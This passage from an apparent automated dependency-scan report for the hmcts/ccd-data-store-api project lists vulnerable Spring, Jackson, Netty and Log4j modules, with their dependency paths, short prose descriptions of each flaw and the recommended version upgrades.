This vulnerability can be mitigated by configuring the SocketAppender to use a private or restricted trust root to limit the set of trusted certificates.
Remediation
Upgrade org.apache.logging.log4j:log4j-core to version 2.25.3 or higher.
References
medium severity
- Vulnerable module: org.springframework:spring-web
- Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.github.openfeign.form:feign-form-spring@3.8.0 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.hateoas:spring-hateoas@3.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-servlet@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework.cloud:spring-cloud-openfeign-core@5.1.0-RC1 › io.github.openfeign:feign-form-spring@13.17 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-security@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to HTTP Response Splitting via the Content-Disposition header when untrusted input is used to construct its value. An attacker can inject malicious characters to break the HTTP header or corrupt the framing of an outbound multipart body by supplying specially crafted file names or values.
Note: This is only exploitable if the application uses non-default or legacy HTTP connectors that do not reject malicious characters in header values, or if untrusted input is used to set the Content-Disposition of a part in an outbound multipart request body.
Remediation
Upgrade org.springframework:spring-web to version 7.0.9 or higher.
References
medium severity
- Vulnerable module: tools.jackson.core:jackson-databind
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-databind@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-databind@3.1.6.
Overview
Affected versions of this package are vulnerable to Deserialization of Untrusted Data in the isSafeSubType() method of DefaultBaseTypeLimitingValidator, whose denylist of unsafe base types omits java.lang.Comparable, so the method returns true for any subtype resolved under a Comparable base. An attacker can trigger instantiation of arbitrary classes that implement Comparable, such as java.io.File to reach path-traversal primitives, by sending JSON with attacker-controlled type identifiers. This requires the application to use a bare @JsonTypeInfo with the default validator and no explicit PolymorphicTypeValidator, and a property or class whose declared base type is Comparable.
Workaround
This vulnerability can be avoided by configuring an explicit restrictive PolymorphicTypeValidator, such as a BasicPolymorphicTypeValidator allowlist passed to activateDefaultTyping(), instead of relying on the default validator.
Note: The discoverer of this vulnerability reports that "I have not identified a class implementing Comparable that yields code execution purely through deserialization".
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.
Remediation
Upgrade tools.jackson.core:jackson-databind to version 3.1.6, 3.2.2 or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.FinalRemediation: Upgrade to io.searchbox:jest@6.3.1.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to Information Disclosure via the AbstractDiskHttpData method, and on Unix-like systems.
When netty's multipart decoders are used, local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk are enabled.
On unix-like systems, the temporary directory is shared between all users. As such, writing to this directory using API's that do not explicitly set the file/directory permissions can lead to information disclosure.
The method File.createTempFile on unix-like systems creates a random file, but, by default will create this file with the permissions -rw-r--r--. Sensitive information is written to this file in AbstractDiskHttpData, and other local users can read it.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.59.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-handler
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-handler@4.1.16.FinalRemediation: Upgrade to io.searchbox:jest@6.3.1.
Overview
io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.
Affected versions of this package are vulnerable to Information Disclosure via the AbstractDiskHttpData method, and on Unix-like systems.
When netty's multipart decoders are used, local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk are enabled.
On unix-like systems, the temporary directory is shared between all users. As such, writing to this directory using API's that do not explicitly set the file/directory permissions can lead to information disclosure.
The method File.createTempFile on unix-like systems creates a random file, but, by default will create this file with the permissions -rw-r--r--. Sensitive information is written to this file in AbstractDiskHttpData, and other local users can read it.
Remediation
Upgrade io.netty:netty-handler to version 4.1.59.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to CRLF Injection in the HttpPostRequestEncoder. An attacker can inject arbitrary MIME headers and manipulate multipart request bodies by supplying crafted filenames containing CRLF sequences. This can lead to overriding Content-Type headers, injecting malicious scripts, or altering form data processed by downstream services.
Note: This is only exploitable if the application uses the multipart encoder with filenames derived from user-controlled input and does not perform its own CRLF sanitization.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.FinalRemediation: Upgrade to io.searchbox:jest@6.3.1.
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to HTTP Request Smuggling. If a Content-Length header is present in the original HTTP/2 request, the field is not validated by Http2MultiplexHandler as it is propagated up.
An additional case of this vulnerability was fixed in 4.1.61.Final (CVE-2021-21409).
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.60.Final or higher.
References
medium severity
- Vulnerable module: org.springframework:spring-web
- Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.github.openfeign.form:feign-form-spring@3.8.0 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.hateoas:spring-hateoas@3.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-servlet@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework.cloud:spring-cloud-openfeign-core@5.1.0-RC1 › io.github.openfeign:feign-form-spring@13.17 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-security@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to Open Redirect when UriComponentsBuilder is used to parse an externally provided URL and perform validation checks on the host of the parsed URL.
Note: This is the same as CVE-2024-22259 and CVE-2024-22243, but with different input.
Remediation
Upgrade org.springframework:spring-web to version 5.3.34, 6.0.19, 6.1.6 or higher.
References
medium severity
- Vulnerable module: io.netty:netty-codec-http
- Introduced through: io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.plugin:transport-netty4-client@6.3.1 › io.netty:netty-codec-http@4.1.16.Final
Overview
io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the accumulation of data in the HttpPostRequestDecoder. The decoder cumulates bytes in the undecodedChunk buffer until it can decode a field, allowing for data to accumulate without limits.
An attacker can cause a denial of service by sending a chunked post consisting of many small fields that will be accumulated in the bodyListHttpData list.
Remediation
Upgrade io.netty:netty-codec-http to version 4.1.108.Final or higher.
References
medium severity
- Vulnerable module: tools.jackson.core:jackson-databind
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-databind@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-databind@3.1.4.
Overview
Affected versions of this package are vulnerable to Incorrect Authorization in the BeanDeserializer._deserializeUsingPropertyBased method, whose property-buffering branch omits the prop.visibleInView(activeView) check that the creator-property branch performs. An attacker can populate view-restricted setterless collection or map properties, such as admin-only fields, from untrusted JSON by supplying values for them during deserialization, bypassing @JsonView protection. This affects only setterless collection or map properties annotated with a restricted @JsonView and reached through the property-based creator path.
Remediation
Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.
References
medium severity
- Vulnerable module: tools.jackson.core:jackson-databind
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-databind@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-databind@3.1.4.
Overview
Affected versions of this package are vulnerable to Incorrect Authorization in the UnwrappedPropertyHandler.processUnwrappedCreatorProperties() method, which replays buffered JSON into creator parameters without consulting prop.visibleInView(activeView). An attacker can set view-restricted constructor parameters annotated with both @JsonView and @JsonUnwrapped, such as admin-only fields, from untrusted JSON by supplying them during deserialization while a more restrictive view is active, defeating the @JsonView write-side authorization boundary.
Remediation
Upgrade tools.jackson.core:jackson-databind to version 3.1.4 or higher.
References
medium severity
- Vulnerable module: org.springframework:spring-web
- Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.github.openfeign.form:feign-form-spring@3.8.0 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.hateoas:spring-hateoas@3.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-servlet@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
